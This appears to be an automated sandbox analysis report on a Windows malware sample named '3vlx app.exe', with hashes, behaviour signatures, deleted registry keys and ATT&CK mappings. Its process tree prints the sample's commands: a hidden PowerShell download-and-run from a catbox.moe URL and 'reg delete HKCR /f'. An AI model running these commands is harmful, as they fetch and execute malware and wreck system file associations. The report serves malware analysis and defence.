Analysis
- max time kernel
53s - max time network
137s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
26/10/2026, 15:08
Static task
static1
Behavioral task
behavioral1
Sample
3vlx app.exe
Resource
win10v2004-20260911-en
Behavioral task
behavioral2
Sample
3vlx app.exe
Resource
win11ltsc2024-20260911-en
General
- Target 3vlx app.exe
- Size 37KB
- Sample261026-sh37faex5t
- SHA256 948fedd2e40675b409511a48ea54eaa712ae9ca284ffda0c6ab4505c9a874ad2
- MD5 468dc21457f941c0972b8807aac1eb29
- SHA1 97f8888918cdb1c2a38a3e7c8fa3f7bde41b2b0a
- SHA512 0082f55f7d8094550b243eedc21cba7a839e64bbfbd451d3a4a55439a15f2bbdb086ce37e151e1f678b691e8307d7691fc08a5c540b0a03b11f0e3652053a01f
- SSDEEP 768:IFN6a8x4ZqjDB8GGCrQKyZ78UMeS16nsY9s9Ja2T4NTb:IFNb8x4ZqjDB8YdytaV1Of9s9Ja2T4NX
- TLSH T116030A8EEF898433C3CEABBD586252164630E5678513E78E15CCA5F619D33864E5C3C7
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 2 4332 powershell.exe 3 4332 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4332 powershell.exe - Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Modifies system executable filetype association 2 TTPs 16 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\DropHandler reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\edit\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\print reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\ContextMenuHandlers reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\ContextMenuHandlers\Compatibility reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\DefaultIcon reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\edit reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\open\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\open reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runas\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runas reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\{8895b1c6-b41f-4c1c-a562-0d564250836f} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\print\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runasuser\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runasuser reg.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3620 cmd.exe - Modifies registry class 64 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020830-0000-0000-C000-000000000046} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B54934CD-71A6-4698-BDC2-AFEA5B86504C} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0162-ABCDEFFEDCBA}\InprocServer32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.library-ms\ShellNew reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{33D9A760-90C8-11D0-BD43-00A0C911CE86}\InprocServer32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3B0BD075-929C-4E52-AAD1-458C81A10B24} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{9BE31822-FDAD-461B-AD51-BE1D1C159921}\Implemented Categories reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A1EB89D6-0A9C-4575-A0AE-654A990A454C} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{CAFEEFAC-0016-0000-0163-ABCDEFFEDCBC}\InprocServer32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.psc1 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.webp\OpenWithProgids reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{7931F65C-2564-4C19-AE71-E7DDFA008F6A}\DefaultIcon reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{CAFEEFAC-0015-0000-0034-ABCDEFFEDCBA} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0220-ABCDEFFEDCBB} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.oga\ShellEx reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.udt\PersistentHandler reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{9F4C80DC-A4F1-420C-A0FA-1E1490AA8853}\VersionIndependentProgID reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A81AAA57-7BA3-412D-BB1D-5BE71B160C19}\InProcServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{CAFEEFAC-0014-0002-0063-ABCDEFFEDCBB} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{CAFEEFAC-0016-0000-0109-ABCDEFFEDCBC} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0141-ABCDEFFEDCBA} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0148-ABCDEFFEDCBC} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.M2V\OpenWithProgIds reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Applications\CMMGR32.EXE reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020801-0000-0000-C000-000000000046}\AutoConvertTo reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020833-0000-0000-C000-000000000046}\TypeLib reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{CAFEEFAC-0016-0000-0033-ABCDEFFEDCBA}\InprocServer32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.lib\PersistentHandler reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0074-ABCDEFFEDCBB}\InprocServer32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.tp reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{CAFEEFAC-0013-0001-0079-ABCDEFFEDCBA}\InprocServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0180-ABCDEFFEDCBB} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{9800F18F-3D86-4744-A7D0-540989C86D7B}\VersionIndependentProgID reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{CAFEEFAC-0016-0000-0146-ABCDEFFEDCBB}\InprocServer32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{312AB530-ECC9-496E-AE0E-C9E6C5392499} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{CAFEEFAC-0013-0001-0098-ABCDEFFEDCBA} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{CAFEEFAC-0016-0000-0104-ABCDEFFEDCBC}\InprocServer32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6939BF8D-FF94-492C-9E4E-BD6439D8F867}\ProgID reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{BFEC0C93-0B7D-4F2C-B09C-AFFFC4BDAE78}\InProcServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{CAFEEFAC-0013-0001-0065-ABCDEFFEDCBA} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0082-ABCDEFFEDCBC}\InprocServer32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\AIFFFile reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\AppX6dgm15xpej2tfeqy45f08t73gq55qcjn\Application reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{CA8A9780-280D-11CF-A24D-444553540000}\Implemented Categories\{7DD95802-9882-11CF-9FA9-00AA006C42C4} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.mp2\ShellEx\{BB2E617C-0920-11D1-9A0B-00C04FC2D6C1} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.resmoncfg reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\AllSyncRootObjects\shell\MakeAvailableOnline reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{65F1F1E8-6A88-4011-8885-C59741C12CA1} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0006F005-0000-0000-C000-000000000046}\InprocHandler32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0013-ABCDEFFEDCBA} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.pch\PersistentHandler reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{CAFEEFAC-0016-0000-0068-ABCDEFFEDCBA}\InprocServer32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Applications\provtool.exe\SupportedTypes reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\AppX40nx3azkcssh7ybcbzzjpgf1mg561cyz\Shell reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0006F04D-0000-0000-C000-000000000046}\InprocHandler32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6C177EBD-C42D-4728-A04B-4131892EDBF6}\ToolboxBitmap32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{88E526C9-718C-410A-981C-7EF7806971E3} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{CAFEEFAC-0016-0000-0167-ABCDEFFEDCBA}\InprocServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{CAFEEFAC-0016-0000-0168-ABCDEFFEDCBC} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0033-ABCDEFFEDCBC}\InprocServer32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{000498C4-0000-0000-C000-000000000046}\ProgID reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0006F04C-0000-0000-C000-000000000046}\LocalServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{CAFEEFAC-0016-0000-0122-ABCDEFFEDCBA} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\CLSID\{CAFEEFAC-0017-0000-0040-ABCDEFFEDCBB} reg.exe - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4332 powershell.exe 4332 powershell.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 4480 3vlx app.exe - Suspicious use of AdjustPrivilegeToken 5 IoCs
description pid Process Token: SeDebugPrivilege 4480 3vlx app.exe Token: SeDebugPrivilege 4480 3vlx app.exe Token: 33 2428 AUDIODG.EXE Token: SeIncBasePriorityPrivilege 2428 AUDIODG.EXE Token: SeDebugPrivilege 4332 powershell.exe - Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 4480 wrote to memory of 4332 4480 3vlx app.exe 90 PID 4480 wrote to memory of 3620 4480 3vlx app.exe 93 PID 3620 wrote to memory of 5780 3620 cmd.exe 95 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\3vlx app.exe"C:\Users\Admin\AppData\Local\Temp\3vlx app.exe"1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4480 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/ab4icn.rar' -OutFile $env:TEMP\file.com; Start-Process -WindowStyle Hidden $env:TEMP\file.com"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4332
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k reg delete HKCR /f2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3620 -
C:\Windows\system32\reg.exereg delete HKCR /f3⤵
- Modifies system executable filetype association
- Modifies registry class
PID:5780
-
-
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x0000000000000504 0x00000000000004F41⤵
- Suspicious use of AdjustPrivilegeToken
PID:2428
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵PID:3004
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Persistence
Event Triggered Execution
2Change Default File Association
1Component Object Model Hijacking
1